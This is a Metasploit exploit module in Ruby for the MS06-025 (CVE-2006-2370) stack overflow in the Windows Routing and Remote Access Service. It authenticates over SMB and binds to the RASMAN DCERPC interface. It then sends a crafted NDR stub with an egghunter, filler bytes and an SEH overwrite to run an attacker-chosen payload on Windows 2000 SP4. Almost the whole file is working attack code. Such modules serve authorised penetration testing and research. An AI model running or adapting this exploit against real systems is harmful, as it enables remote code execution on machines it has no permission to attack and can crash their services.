##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft RRAS Service RASMAN Registry Overflow',
      'Description'    => %q{
            This module exploits a registry-based stack overflow in the Windows Routing 
        and Remote Access Service. Since the service is hosted inside svchost.exe, 
        a failed exploit attempt can cause other system services to fail as well. 
        A valid username and password is required to exploit this flaw on Windows 2000. 
        When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.
        Exploiting this flaw involves two distinct steps - creating the registry key
        and then triggering an overwrite based on a read of this key. Once the key is
        created, it cannot be recreated. This means that for any given system, you
        only get one chance to exploit this flaw. Picking the wrong target will require
        a manual removal of the following registry key before you can try again:
        HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\RAS Phonebook
            },
      'Author'         => [ 'pusscat', 'hdm' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2006-2370' ],
          [ 'OSVDB', '26437' ],
          [ 'BID', '18325' ],
          [ 'MSB', 'MS06-025' ] 
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00\x2c\x5c\x2e\x3a\x24",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'Windows 2000 SP4', { 'Ret' => 0x750217ae } ],  # call esi
        ],
      'DefaultTarget' => 0))
    register_options(
      [       
        OptString.new('SMBPIPE', [ true,  "Rawr.", 'router']),
      ], self.class)    
  end

  # Post authentication bugs are rarely useful during automation
  def autofilter
    false
  end
  
  def exploit
    connect()
    smb_login()
    print_status("Trying target #{target.name}...")

    # Generate the egghunter payload
    hunter = generate_egghunter()
    egg    = hunter[1]
    
    # Pick a "filler" character that we know doesn't get mangled
    # by the wide string conversion routines    
    filset = "\xc1\xff\x67\x1b\xd3\xa3\xe7"
    fil    = filset[ rand(filset.length) ].chr
    
    # Bind to the actual DCERPC interface
    handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
    print_status("Binding to #{handle}")
    dcerpc_bind(handle)
    print_status("Bound to #{handle}")

    # Add giant blocks of guard data before and after the egg 
    eggdata  = 
      fil * 1024 +
      egg + 
      egg + 
      payload.encoded + 
      fil * 1024
      
    # Place the egghunter where ESI happens to point
    bof = (fil * 178)
    bof[84, hunter[0].length] = hunter[0]
    
    # Overwrite the SEH ptr, even though ESP is smashed
    # The handle after the ret must be an invalid address
        pat = 
      (fil * 886) + 
      NDR.long(target.ret) + 
      (fil * 3) + "\xc0" +
      bof
      
        type2 = 
      NDR.string( (fil * 1024) + "\x00" ) +
      NDR.string( pat + "\x00" ) +
      NDR.string( (fil * 4096) + "\x00" ) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) 
          
        type1 = 
            NDR.long(rand(0xffffffff)) + # OperatorDial
            NDR.long(rand(0xffffffff)) + # PreviewPhoneNumber
            NDR.long(rand(0xffffffff)) + # UseLocation
            NDR.long(rand(0xffffffff)) + # ShowLights
            NDR.long(rand(0xffffffff)) + # ShowConnectStatus
            NDR.long(rand(0xffffffff)) + # CloseOnDial
            NDR.long(rand(0xffffffff)) + # AllowLogonPhonebookEdits
            NDR.long(rand(0xffffffff)) + # AllowLogonLocationEdits
            NDR.long(rand(0xffffffff)) + # SkipConnectComplete
            NDR.long(rand(0xffffffff)) + # NewEntryWizard
            NDR.long(rand(0xffffffff)) + # RedialAttempts
            NDR.long(rand(0xffffffff)) + # RedialSeconds
            NDR.long(rand(0xffffffff)) + # IdleHangUpSeconds
            NDR.long(rand(0xffffffff)) + # RedialOnLinkFailure
            NDR.long(rand(0xffffffff)) + # PopupOnTopWhenRedialing
            NDR.long(rand(0xffffffff)) + # ExpandAutoDialQuery
            NDR.long(rand(0xffffffff)) + # CallbackMode

            NDR.long(0x45) + type2 +     # Parsed by CallbackListFromRpc
            NDR.wstring("\x00" * 129)  +
            NDR.long(rand(0xffffffff)) +
            NDR.wstring("\x00" * 520)  +
            NDR.wstring("\x00" * 520)  +

            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +
            NDR.long(rand(0xffffffff)) +

            NDR.string("\x00" * 514) +
            
      NDR.long(rand(0xffffffff)) + 
            NDR.long(rand(0xffffffff))  
        
    stubdata = 
      type1 + 
      NDR.long(rand(0xffffffff)) + 
      eggdata
      
        print_status('Stub is ' + stubdata.length.to_s + ' bytes long.')

    begin
      print_status('Creating the malicious registry key...')
      response = dcerpc.call(0xA, stubdata)
      
      print_status('Triggering the base pointer overwrite...')
      response = dcerpc.call(0xA, stubdata)
      
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    handler
    disconnect
  end

end